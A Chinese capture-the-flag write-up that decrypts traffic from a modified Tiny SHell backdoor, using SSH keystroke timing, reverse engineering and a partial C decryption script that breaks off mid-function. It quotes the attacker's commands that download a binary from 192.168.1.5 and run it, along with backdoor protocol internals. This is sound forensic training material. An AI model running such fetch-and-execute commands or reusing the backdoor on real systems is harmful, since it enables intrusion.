Misc-SecTraffice writeup

有一阵子没有玩CTF,后来有一个师傅问了一下这个题目,突然就来了兴趣,于是好好研究了一下这个题目,发现这个题目质量确实可以,于是写了一份WP来记录一哈

本文首发于春秋伽玛 https://mp.weixin.qq.com/s/sPgcxqG6gwjvgEJzWHC4KQ

初步分析

文件下载下来,可能看到一个叫做keylog的文件和一个pcap包,pcap包中数据流分成三个stream,分别包含如下内容

  • 第一个stream是一个ssh链接
  • 第二个是一个http传输的一个叫做bash的文件
  • 第三个完全是一个加密的流量,看不出来具体内容

第一个stream表示ssh链接,不过ssh通信的内容肯定是加密的:

第二个stream是一个http请求包,似乎下载了文件

第三个stream看不太懂发生了什么

而keylog文件里面的内容如下:

1
2
3
wget http://192.168.1.5:9999/bash
chmod +x bash
./bash Op0VPMasjuNZvdas3e5igGad

首先我们分析题目,题目提到说,这是一个攻击者通过弱口令进入了受害者机器然后进行操作为背景的题目。所以这边的流量和keylog可以理解成是针对这么个场景进行分析的,那么此时,结合流量包和keylog,我们能够分析出如下条件:

  • 从题目描述可知,攻击者使用ssh登陆上了被害者的电脑,那么此时keylog记录的是攻击者的IP,也就是192.168.1.5
  • 从流量包可知,另一个通信的IP是192.168.1.4,所以这个是受害者的IP
  • ssh流量记录的正是攻击者用ssh连接到受害者的流量,敲下了keylog中记录的数据的那段记录

于是整个题目大致的流程如下:

了解到这些初步信息之后,我们再对题目给出的信息进行进一步的分析

stream 0:ssh与侧信道

结合题目提示到的ssh侧信道,可以找到一个叫做packetStrider的脚本,能够通过输入传输的时间,进行测信道分析。其中能够比较明显的区分Enter、Delete、普通字符输入这些。我们使用工具简单分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
┏━━━━ Reporting results for stream 0

┃ Stream 0 of pcap '../../sectraffic.pcap'
┃ 216 packets in total, first at 2021-03-21 15:47:54
┃ 192.168.1.5:57535 -> 192.168.1.4:22
┃ Client Proto : SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7
┃ hassh : 0df0d56bb50c6b2426d8d40234bf1826
┃ Server Proto : SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10
┃ hasshServer : d43d91bc39d5aaed819ad9f6b57b7348
┃ Summary of findings:
┃ 6 Forward SSH login/init events
┃ 90 Forward keystroke related events
┃ Detailed Events:
┃ packet time(s) delta(s) Direction Indicator Bytes Notes
┃ -----------------------------------------------------------------------
┃ 0 0 0 packet0 packet0 40
┃ 5 0.052 0.052 forward key offered 364
┃ 6 1.22 1.168 forward key accepted 16 Delta suggests hostkey was NOT in known_hosts, user manually accepted it
┃ 10 1.275 0.055 forward login prompt 52
┃ 11 1.279 0.004 forward login failure 372 Delta suggests Certificate Auth, pwd to cert null or non interactive
┃ 12 1.28 0.001 forward login prompt 52
┃ 13 3.573 2.293 forward login success 84 < 8 char Password, entered interactively by human
┃ 20 3.928 0.355 forward agent fwding 520 !! -A option used. Client private key sharing via SSH Agent Forwarding
┃ 23 5.416 1.488 forward keystroke 36
┃ 25 5.723 0.307 forward keystroke 36
┃ 27 6.132 0.409 forward keystroke 36
┃ 29 6.443 0.311 forward keystroke 36
┃ 31 6.952 0.508 forward keystroke 36
┃ 33 7.361 0.41 forward keystroke 36
┃ 35 8.085 0.724 forward keystroke 36
┃ 37 8.385 0.301 forward keystroke 36
┃ 39 8.897 0.511 forward keystroke 36
┃ 41 9.716 0.819 forward keystroke 36
┃ 43 10.433 0.717 forward keystroke 36
┃ 45 10.842 0.409 forward keystroke 36
┃ 47 12.188 1.346 forward keystroke 36
┃ 49 12.589 0.401 forward keystroke 36
┃ 51 13.268 0.679 forward keystroke 36
┃ 53 13.709 0.441 forward keystroke 36
┃ 55 14.221 0.512 forward keystroke 36
┃ 57 14.738 0.517 forward keystroke 36
┃ 59 15.149 0.411 forward keystroke 36
┃ 61 15.859 0.71 forward keystroke 36
┃ 63 16.473 0.614 forward keystroke 36
┃ 65 16.89 0.416 forward keystroke 36
┃ 67 17.702 0.812 forward keystroke 36
┃ 69 18.475 0.773 forward keystroke 36
┃ 71 19.238 0.762 forward keystroke 36
┃ 73 19.852 0.614 forward keystroke 36
┃ 75 20.365 0.513 forward keystroke 36
┃ 77 20.885 0.52 forward keystroke 36
┃ 79 21.498 0.613 forward keystroke 36
┃ 81 22.207 0.709 forward keystroke 36
┃ 83 22.719 0.512 forward keystroke 36
┃ 85 23.231 0.512 forward keystroke 36
┃ 87 23.845 0.614 forward keystroke 36
┃ 99 25.586 1.741 forward _┃ ENTER 1080
┃ 100 26.815 1.229 forward keystroke 36
┃ 102 27.224 0.41 forward keystroke 36
┃ 104 27.736 0.512 forward keystroke 36
┃ 106 28.248 0.512 forward keystroke 36
┃ 108 29.075 0.827 forward keystroke 36
┃ 110 29.483 0.408 forward keystroke 36
┃ 112 30.296 0.813 forward keystroke 36
┃ 114 30.808 0.512 forward keystroke 36
┃ 116 31.525 0.717 forward keystroke 36
┃ 118 32.753 1.228 forward keystroke 36
┃ 120 33.267 0.514 forward keystroke 36
┃ 122 33.631 0.364 forward keystroke 36
┃ 124 34.186 0.555 forward keystroke 36
┃ 128 35.722 1.536 forward _┃ ENTER 100
┃ 129 38.288 2.566 forward keystroke 36
┃ 131 38.901 0.613 forward keystroke 36
┃ 133 39.518 0.617 forward keystroke 36
┃ 135 40.131 0.613 forward keystroke 36
┃ 137 40.583 0.452 forward keystroke 36
┃ 139 41.876 1.293 forward keystroke 36
┃ 141 43.412 1.536 forward keystroke 36
┃ 143 47.094 3.682 forward keystroke 36
┃ 145 49.041 1.948 forward keystroke 36
┃ 147 52.207 3.165 forward < delete/ac 36
┃ 149 53.034 0.827 forward < delete/ac 36
┃ 151 54.255 1.221 forward keystroke 36
┃ 153 56.116 1.862 forward keystroke 36
┃ 155 57.436 1.32 forward keystroke 36
┃ 157 59.175 1.739 forward keystroke 36
┃ 159 60.603 1.428 forward keystroke 36
┃ 161 61.222 0.619 forward keystroke 36
┃ 163 62.656 1.434 forward < delete/ac 36
┃ 165 63.367 0.711 forward < delete/ac 36
┃ 167 64.902 1.536 forward keystroke 36
┃ 169 65.825 0.922 forward keystroke 36
┃ 171 67.156 1.331 forward keystroke 36
┃ 173 68.692 1.536 forward keystroke 36
┃ 175 71.053 2.362 forward keystroke 36
┃ 177 73.001 1.948 forward keystroke 36
┃ 179 73.606 0.604 forward keystroke 36
┃ 181 74.937 1.331 forward < delete/ac 36
┃ 183 75.762 0.825 forward < delete/ac 36
┃ 185 76.584 0.822 forward < delete/ac 36
┃ 187 77.803 1.22 forward keystroke 36
┃ 189 78.948 1.144 forward keystroke 36
┃ 191 79.954 1.007 forward keystroke 36
┃ 193 81.183 1.229 forward keystroke 36
┃ 195 82.309 1.125 forward < delete/ac 36
┃ 197 83.538 1.229 forward keystroke 36
┃ 199 84.766 1.228 forward keystroke 36
┃ 201 86.097 1.331 forward < delete/ac 36
┃ 203 87.542 1.445 forward keystroke 36
┃ 205 88.564 1.022 forward keystroke 36
┃ 207 89.476 0.913 forward keystroke 36
┃ 211 91.728 2.252 forward _┃ ENTER 100


┗━━━━ End of Analysis for stream 0

... packet-strider-ssh complete

通过比对输入的字符的个数,可以验证ssh中的流量正是提供的keylog记录的数据。
然而比较有趣的是,第三行的输入似乎有过几次delete的痕迹,而delete从keylog中似乎没有体现出来。根据此时提供的工具,我们可以尝试还原攻击者链接ssh后进行的输入,可以得到如下的结果:

1
2
3
wget http://192.168.1.5:9999/bash
chmod +x bash
./bash 0VPMjuNZs3eiGad

stream 1:bash的逆向

由于stream1中是一个http请求,我们可以尝试讲文件进行dump

很容易的可以发现,http请求了一个elf文件,这一步正好就是keylog中记录的第一步。于是我们简单逆向一下bash。
可以发现,这个bash文件很类似一个加密的shell,等待攻击者的机器与其通信。文件首先会尝试绑定本地的IP,并且将运行时的第一个参数作为密钥解密


在这个函数中,会有大量的通信逻辑,并且其中还加载着多个加密逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
do
{
v12 = recv(fd, v11, 16 - v10, 0); // <----- 通信逻辑
if ( !v12 )
{
dword_2106C0 = -2;
return 0;
}
if ( v12 < 0 )
{
dword_2106C0 = -1;
return 0;
}
v10 += v12;
v11 += v12;
}
while ( v10 <= 0xF );
dword_2106C0 = -6;
if ( (unsigned int)sub_11A0(fd) != 1 )
return 0;
if ( v20 != 16 || (v5 = memcmp(&xmmword_2106E0, &xmmword_210130, 0x10uLL)) != 0 )
{
dword_2106C0 = -3;
v5 = 0;
}
else
{
v14 = (__int64 *)&xmmword_2106E0;
xmmword_2106E0 = 4096;
MEMORY[0x2106E2] = xmmword_210130;
do
{
v15 = v14;
*v14 ^= qword_211B28; // <----- 疑似加密逻辑
v14[1] ^= qword_211B30;
v14 += 2;
sub_3C60(&unk_211720, v15);
v16 = *(v14 - 1);
qword_211B28 = *(v14 - 2);
qword_211B30 = v16;
}
while ( v14 != (__int64 *)((char *)&qword_2106FC + 4) );

考虑到stream 2我们还没有弄明白其含义,并且其中并没有包含任何明文。结合我们最终需要找flag的需求,很可能最终的flag存在于加密的通信内容中。于是此时我们需要简单的逆向bash的逻辑。

Tiny SHell

考虑到整个题目的通信比较完整,可能不是一个简单的bash程序,所以上网搜了一圈,找到了非常类似源码项目。这个项目的介绍是:

Tiny SHell - An open-source UNIX backdoor

项目文件中包含了aes、sha1等文件,基本上实锤了其中存在加密的成分。之后用PEiD简单查看,发现这个bash程序中,包含了md5和sha1两种签名算法(这是一个伏笔),于是结合着源码来看,很快就有了如下的分析:

  • 出题人简单魔改了程序入口,密钥需要经过输入入口的异或才会被使用。
  • 出题人在代码某处增加了md5算法。

结合这段分析,我们对整个题目有了更新的认识:

stream 2:加密协议的解密

到了最后一步,此时已经明白了基本的目标,于是此时需要分析整个Tiny SHell通信过程中的加密流程。这边可以结合着代码和逆向结果来看:

初始化 pel

由于此时Tiny SHell作为一个部署在被攻击机器的正向shell,其首先会尝试去进行server端的初始化(因为是等待链接的),在源码中的形式为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int pel_server_init( int client, char *key )
{
int ret, len;
unsigned char IV1[20], IV2[20];

/* get the IVs from the client */

ret = pel_recv_all( client, buffer, 40, 0 );

if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

memcpy( IV2, &buffer[ 0], 20 );
memcpy( IV1, &buffer[20], 20 );

/* setup the session keys */

pel_setup_context( &send_ctx, key, IV1 );
pel_setup_context( &recv_ctx, key, IV2 );


对应到二进制程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
v2 = buffer;
v3 = 0LL;
do
{
v4 = recv(client, v2, 40 - v3, 0);
v5 = v4;
if ( !v4 )
{
RecvStatus = -2;
return v5;
}
if ( v4 < 0 )
{
RecvStatus = -1;
return 0;
}
v3 += v4;
v2 += v4;
}
while ( v3 <= 0x27 ); // ret = pel_recv_all( client, buffer, 40, 0 );

这一段可以对应源码中的 ret = pel_recv_all( client, buffer, 40, 0 );,并且我们此时检查流量包,发现stream 2 的第一个流量包确实是40字节,验证了我们的猜想。

之后,根据源码,会去调用一个叫做pel_setup_context的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void pel_setup_context( struct pel_context *pel_ctx,
char *key, unsigned char IV[20] )
{
int i;
struct sha1_context sha1_ctx;

sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) );
sha1_update( &sha1_ctx, IV, 20 );
sha1_finish( &sha1_ctx, buffer );

aes_set_key( &pel_ctx->SK, buffer, 128 );

memcpy( pel_ctx->LCT, IV, 16 );

memset( pel_ctx->k_ipad, 0x36, 64 );
memset( pel_ctx->k_opad, 0x5C, 64 );

for( i = 0; i < 20; i++ )
{
pel_ctx->k_ipad[i] ^= buffer[i];
pel_ctx->k_opad[i] ^= buffer[i];
}

pel_ctx->p_cntr = 0;
}

然而这个地方,如果尝试逆向了二进制程序中,会发现此时调用的并不是sha1,而是md5(正好回收了之前的伏笔):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
RecvStatus = -6;
*(_QWORD *)IV2 = *(_QWORD *)buffer;
*(_QWORD *)&IV2[8] = *(_QWORD *)&buffer[8];
*(_DWORD *)&IV2[16] = *(_DWORD *)&buffer[16];
*(_QWORD *)IV1 = *(_QWORD *)&buffer[20];
*(_QWORD *)&IV1[8] = *(_QWORD *)&buffer[28];
*(_DWORD *)&IV1[16] = *(_DWORD *)&buffer[36]; //
// memcpy( IV2, &buffer[ 0], 20 );
// memcpy( IV1, &buffer[20], 20 );
MD5Init((MD5_CTX *)send_ctx);
v6 = strlen(key);
MD5Update((MD5_CTX *)send_ctx, (unsigned __int8 *)key, v6);
MD5Update((MD5_CTX *)send_ctx, (unsigned __int8 *)IV1, 0x14u);
MD5Final((MD5_CTX *)send_ctx, buffer);

这个地方是本题的一个坑点,如果无脑的使用了源码,那么最终的解密是一定会失败的。并且可以注意到,此时将发送包的前20字节用作生成recv密钥,后20字节用于生成send密钥。那么直到这一步,我们有如下结论:

  • 第一个包收到的40字节,用于生成send密钥和recv密钥
  • 前20字节是recv密钥
  • 后20字节是send密钥

recv decrypt and check challenge

之后的逻辑中,为了保证整个通信能建立成功,以及密钥为正确的密钥,此时会检查一个签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
do
{
v12 = recv(client, v11, 16 - v10, 0);
if ( !v12 )
{
RecvStatus = -2;
return 0;
}
if ( v12 < 0 )
{
RecvStatus = -1;
return 0;
}
v10 += v12;
v11 += v12;
}
while ( v10 <= 0xF ); // ret = pel_recv_msg( client, buffer, &len );
RecvStatus = -6;
if ( (unsigned int)sub_11A0(client, buffer, &v20) != 1 )
return 0;
if ( v20 != 16 || (v5 = memcmp(buffer, &encode_sign, 0x10uLL)) != 0 )
{
RecvStatus = -3;
v5 = 0;
}

这里可以看到,首先会接受长度为16字节的字符,然后将其传入sub_11A0,一同操作之后得到的buffer需要和encode_sign进行比较,从而验证整个通信过程中的密钥是否正确

1
.data:0000000000210130 encode_sign     xmmword 0ED417AFD387B717304ED8580F0B30E9Ah

这边的签名也被出题人该过,所以不能完全信赖源码啊

可以注意到,在进行签名比较之前,程序会调用函数sub_11A0,这个函数比较长,可以结合着源码看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned char temp[16];
unsigned char hmac[20];
unsigned char digest[20];
struct sha1_context sha1_ctx;
int i, j, ret, blk_len;

/* receive the first encrypted block */

ret = pel_recv_all( sockfd, buffer, 16, 0 );

if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

/* decrypt this block and extract the message length */

memcpy( temp, buffer, 16 );

aes_decrypt( &recv_ctx.SK, buffer );

for( j = 0; j < 16; j++ )
{
buffer[j] ^= recv_ctx.LCT[j];
}

*length = ( ((int) buffer[0]) << 8 ) + (int) buffer[1];

/* restore the ciphertext */

memcpy( buffer, temp, 16 );

/* verify the message length */

if( *length <= 0 || *length > BUFSIZE )
{
pel_errno = PEL_BAD_MSG_LENGTH;

return( PEL_FAILURE );
}

大致的逻辑就是:程序接受的16字节字符串,使用我们之前生成的recv密钥进行解密(解密方式为类似cbc的模式),并且解密解开的buffer中,前两个字节表示当前输入的长度。如果输入的长度超过固定大小,则同样视为解密失败。如果长度解密完成之后,还要进行完整性校验:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/* verify the message length */
printf("Decrypt length:%d\n", *length);
if( *length <= 0 || *length > BUFSIZE )
{
pel_errno = PEL_BAD_MSG_LENGTH;
printf("ERROR length:%d\n", *length);

return( PEL_FAILURE );
}

/* round up to AES block length (16 bytes) */

blk_len = 2 + *length;

if( ( blk_len & 0x0F ) != 0 )
{
blk_len += 16 - ( blk_len & 0x0F );
}

/* receive the remaining ciphertext and the mac */

// ret = pel_recv_all( sockfd, &buffer[16], blk_len - 16 + 20, 0 );
memcpy(&buffer[16], &recv_msg[16], blk_len - 16 + 20);

if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

memcpy( hmac, &buffer[blk_len], 20 );

/* verify the ciphertext integrity */

buffer[blk_len ] = ( recv_ctx.p_cntr << 24 ) & 0xFF;
buffer[blk_len + 1] = ( recv_ctx.p_cntr << 16 ) & 0xFF;
buffer[blk_len + 2] = ( recv_ctx.p_cntr << 8 ) & 0xFF;
buffer[blk_len + 3] = ( recv_ctx.p_cntr ) & 0xFF;

sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, recv_ctx.k_ipad, 64 );
sha1_update( &sha1_ctx, buffer, blk_len + 4 );
sha1_finish( &sha1_ctx, digest );

sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, recv_ctx.k_opad, 64 );
sha1_update( &sha1_ctx, digest, 20 );
sha1_finish( &sha1_ctx, digest );

if( memcmp( hmac, digest, 20 ) != 0 )
{
puts("hmac not equal!");
pel_errno = PEL_CORRUPTED_DATA;

return( PEL_FAILURE );
}

/* increment the packet counter */

recv_ctx.p_cntr++;

这边会根据本应传输的buffer长度,直接跳转到buffer的尾部,然后并且用之前生成的密钥进行消息的验证。完成确认之后,最终会对整个传输的数据进行解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* finally, decrypt and copy the message */

for( i = 0; i < blk_len; i += 16 )
{
memcpy( temp, &buffer[i], 16 );

aes_decrypt( &recv_ctx.SK, &buffer[i] );

for( j = 0; j < 16; j++ )
{
buffer[i + j] ^= recv_ctx.LCT[j];
}

memcpy( recv_ctx.LCT, temp, 16 );
}

memcpy( msg, &buffer[2], *length );

pel_errno = PEL_UNDEFINED_ERROR;

return( PEL_SUCCESS );

于是在完成这一大段分析之后,我们可以得到Tiny SHell的一个基本的传输协议:

1
content_length(2 byte)+content_encrypt(length byte)+hmac(20 byte)

在完成了数据解密之后,程序会去check当前解密的数据和encode_sign是否相等, 从而完成检查。(还剩一小段见下)

回到流量包,可以看到目前的流量传输形式如下:

红色部分的是攻击机器往受害者机器通信的流量,蓝色的则是受害者机器回复攻击机器通信的流量,看起来整个流量通信中似乎bash也有往攻击机器发送流量的部分。会看刚刚的challenge逻辑,可以看到我们还有一小段没有分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 buffer[35] = qword_211BB8;
SHA1Init((SHA1_CTX *)send_ctx);
SHA1Update((SHA1_CTX *)send_ctx, &unk_211B38, 0x40uLL);
SHA1Update((SHA1_CTX *)send_ctx, buffer, 0x24uLL);
SHA1Final((unsigned __int64 *)send_ctx, data);
SHA1Init((SHA1_CTX *)send_ctx);
SHA1Update((SHA1_CTX *)send_ctx, &unk_211B78, 0x40uLL);
SHA1Update((SHA1_CTX *)send_ctx, data, 0x14uLL);
v18 = 0LL;
SHA1Final((unsigned __int64 *)send_ctx, &buffer[32]);
++qword_211BB8;
do
{
v19 = send(client, v17, 52 - v18, 0);
if ( v19 < 0 )
{
RecvStatus = -1;
return v5;
}
v18 += v19;
v17 += v19;
}
while ( v18 <= 0x33 );
RecvStatus = -6;
v5 = 1;
} // ret = pel_send_msg( client, challenge, 16 );

结合上文分析,这边将我们的challenge(也就是encode_sign)向客户端发送。此时发送也有一个函数,不过此时使用的是send密钥进行加密。于是上图中的问号部分也可以解开了,是server用于和client通信的数据包。

于是整个challenge流程可以写作如下:

  • server监听来自client发送的两个IV,并且初始化自己的密钥,其中前20字节用于生成recv,后20字节用于生成send
  • client发送一个用IV加密后的密文,此时使用recv密钥进行解密
  • server验证收到的密文是否为encode_sign,相等之后,将这个验证过程发送到client,最终完成验证

最终的文件获取

在前面几个步骤中,我们已经理清了整个加密流程,于是我们利用源码,可以简单的改造一下,写一个解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403

void pel_setup_context( struct pel_context *pel_ctx,
char *key, unsigned char IV[20] )
{
int i;
// struct sha1_context sha1_ctx;
md5_state_t md5_ctx;

md5_init(&md5_ctx);
md5_append(&md5_ctx, key, strlen(key));
md5_append(&md5_ctx, IV, 20);
md5_finish(&md5_ctx,buffer);

// sha1_starts( &sha1_ctx );
// sha1_update( &sha1_ctx, (uint8 *) key, strlen( key ) );
// sha1_update( &sha1_ctx, IV, 20 );
// sha1_finish( &sha1_ctx, buffer );

aes_set_key( &pel_ctx->SK, buffer, 128 );

memcpy( pel_ctx->LCT, IV, 16 );

memset( pel_ctx->k_ipad, 0x36, 64 );
memset( pel_ctx->k_opad, 0x5C, 64 );

for( i = 0; i < 20; i++ )
{
pel_ctx->k_ipad[i] ^= buffer[i];
pel_ctx->k_opad[i] ^= buffer[i];
}

pel_ctx->p_cntr = 0;
memset(buffer,0,sizeof(buffer));
}
int decrypt_init( char *key )
{
int ret, len;
unsigned char IV1[20], IV2[20];

/* get the IVs from the client */

// ret = pel_recv_all( client, buffer, 40, 0 );

// if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

memcpy( IV2, &peer0_0[ 0], 20 );
memcpy( IV1, &peer0_0[20], 20 );

/* setup the session keys */

pel_setup_context( &send_ctx, key, IV1 );
pel_setup_context( &recv_ctx, key, IV2 );
puts("decrypt init finish");
}

/* receive and decrypt a message */

int pel_recv_msg(char* recv_msg, int size, unsigned char *msg, int *length )
{
unsigned char temp[16];
unsigned char hmac[20];
unsigned char digest[20];
struct sha1_context sha1_ctx;
int i, j, ret, blk_len;
ret = PEL_SUCCESS;

/* receive the first encrypted block */

// ret = pel_recv_all( sockfd, buffer, 16, 0 );
memset(buffer, '\0', sizeof(buffer));
memcpy(buffer, recv_msg, 16);
// for( j = 0; j < 16; j++ )
// {
// printf("0x%x,",recv_ctx.SK.drk[j]);
// // buffer[j] ^= recv_ctx.LCT[j];
// }
// puts("");

if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

/* decrypt this block and extract the message length */

memcpy( temp, buffer, 16 );

aes_decrypt( &recv_ctx.SK, buffer );

for( j = 0; j < 16; j++ )
{
buffer[j] ^= recv_ctx.LCT[j];
// printf("0x%x,",buffer[j]);
}
// puts("");

*length = ( (buffer[0]) << 8 ) + buffer[1];

/* restore the ciphertext */

memcpy( buffer, temp, 16 );

/* verify the message length */
printf("Decrypt length:%d\n", *length);
if( *length <= 0 || *length > BUFSIZE )
{
pel_errno = PEL_BAD_MSG_LENGTH;
printf("ERROR length:%d\n", *length);

return( PEL_FAILURE );
}

/* round up to AES block length (16 bytes) */

blk_len = 2 + *length;

if( ( blk_len & 0x0F ) != 0 )
{
blk_len += 16 - ( blk_len & 0x0F );
}

/* receive the remaining ciphertext and the mac */

// ret = pel_recv_all( sockfd, &buffer[16], blk_len - 16 + 20, 0 );
memcpy(&buffer[16], &recv_msg[16], blk_len - 16 + 20);

if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

memcpy( hmac, &buffer[blk_len], 20 );

/* verify the ciphertext integrity */

buffer[blk_len ] = ( recv_ctx.p_cntr << 24 ) & 0xFF;
buffer[blk_len + 1] = ( recv_ctx.p_cntr << 16 ) & 0xFF;
buffer[blk_len + 2] = ( recv_ctx.p_cntr << 8 ) & 0xFF;
buffer[blk_len + 3] = ( recv_ctx.p_cntr ) & 0xFF;

sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, recv_ctx.k_ipad, 64 );
sha1_update( &sha1_ctx, buffer, blk_len + 4 );
sha1_finish( &sha1_ctx, digest );

sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, recv_ctx.k_opad, 64 );
sha1_update( &sha1_ctx, digest, 20 );
sha1_finish( &sha1_ctx, digest );

// if( memcmp( hmac, digest, 20 ) != 0 )
// {
// puts("hmac not equal!");
// pel_errno = PEL_CORRUPTED_DATA;

// return( PEL_FAILURE );
// }

/* increment the packet counter */

recv_ctx.p_cntr++;

/* finally, decrypt and copy the message */

for( i = 0; i < blk_len; i += 16 )
{
memcpy( temp, &buffer[i], 16 );

aes_decrypt( &recv_ctx.SK, &buffer[i] );

for( j = 0; j < 16; j++ )
{
buffer[i + j] ^= recv_ctx.LCT[j];
}

memcpy( recv_ctx.LCT, temp, 16 );
}

memcpy( msg, &buffer[2], *length );

pel_errno = PEL_UNDEFINED_ERROR;

return( PEL_SUCCESS );
}


int pel_send_msg(char* recv_msg, int size, unsigned char *msg, int *length )
{
unsigned char temp[16];
unsigned char hmac[20];
unsigned char digest[20];
struct sha1_context sha1_ctx;
int i, j, ret, blk_len;
ret = PEL_SUCCESS;

/* receive the first encrypted block */

// ret = pel_recv_all( sockfd, buffer, 16, 0 );
memset(buffer, '\0', sizeof(buffer));
memcpy(buffer, recv_msg, 16);
// for( j = 0; j < 16; j++ )
// {
// printf("0x%x,",recv_ctx.SK.drk[j]);
// // buffer[j] ^= recv_ctx.LCT[j];
// }
// puts("");

if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

/* decrypt this block and extract the message length */

memcpy( temp, buffer, 16 );

aes_decrypt( &send_ctx.SK, buffer );

for( j = 0; j < 16; j++ )
{
buffer[j] ^= send_ctx.LCT[j];
// printf("0x%x,",buffer[j]);
}
// puts("");

*length = ( (buffer[0]) << 8 ) + buffer[1];

/* restore the ciphertext */

memcpy( buffer, temp, 16 );

/* verify the message length */
printf("Decrypt length:%d\n", *length);
if( *length <= 0 || *length > BUFSIZE )
{
pel_errno = PEL_BAD_MSG_LENGTH;
printf("ERROR length:%d\n", *length);

return( PEL_FAILURE );
}

/* round up to AES block length (16 bytes) */

blk_len = 2 + *length;

if( ( blk_len & 0x0F ) != 0 )
{
blk_len += 16 - ( blk_len & 0x0F );
}

/* receive the remaining ciphertext and the mac */

// ret = pel_recv_all( sockfd, &buffer[16], blk_len - 16 + 20, 0 );
memcpy(&buffer[16], &recv_msg[16], blk_len - 16 + 20);
printf("final the length:%d\n",blk_len + 20);

if( ret != PEL_SUCCESS ) return( PEL_FAILURE );

memcpy( hmac, &buffer[blk_len], 20 );

/* verify the ciphertext integrity */

buffer[blk_len ] = ( send_ctx.p_cntr << 24 ) & 0xFF;
buffer[blk_len + 1] = ( send_ctx.p_cntr << 16 ) & 0xFF;
buffer[blk_len + 2] = ( send_ctx.p_cntr << 8 ) & 0xFF;
buffer[blk_len + 3] = ( send_ctx.p_cntr ) & 0xFF;

sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, send_ctx.k_ipad, 64 );
sha1_update( &sha1_ctx, buffer, blk_len + 4 );
sha1_finish( &sha1_ctx, digest );

sha1_starts( &sha1_ctx );
sha1_update( &sha1_ctx, send_ctx.k_opad, 64 );
sha1_update( &sha1_ctx, digest, 20 );
sha1_finish( &sha1_ctx, digest );

// if( memcmp( hmac, digest, 20 ) != 0 )
// {
// puts("hmac not equal!");
// pel_errno = PEL_CORRUPTED_DATA;

// return( PEL_FAILURE );
// }

/* increment the packet counter */

send_ctx.p_cntr++;

/* finally, decrypt and copy the message */
printf("blk_len:%d\n",blk_len);
for( i = 0; i < blk_len; i += 16 )
{
memcpy( temp, &buffer[i], 16 );

aes_decrypt( &send_ctx.SK, &buffer[i] );

for( j = 0; j < 16; j++ )
{
buffer[i + j] ^= send_ctx.LCT[j];
}

memcpy( send_ctx.LCT, temp, 16 );
}

memcpy( msg, &buffer[2], *length );

pel_errno = PEL_UNDEFINED_ERROR;

return( PEL_SUCCESS );
}



int check_challange(char* input,int size)
{
int len = 0;
int ret = 0;
puts("check challenge");
ret = pel_recv_msg( input, size, buffer, &len );
if( ret != PEL_SUCCESS ){
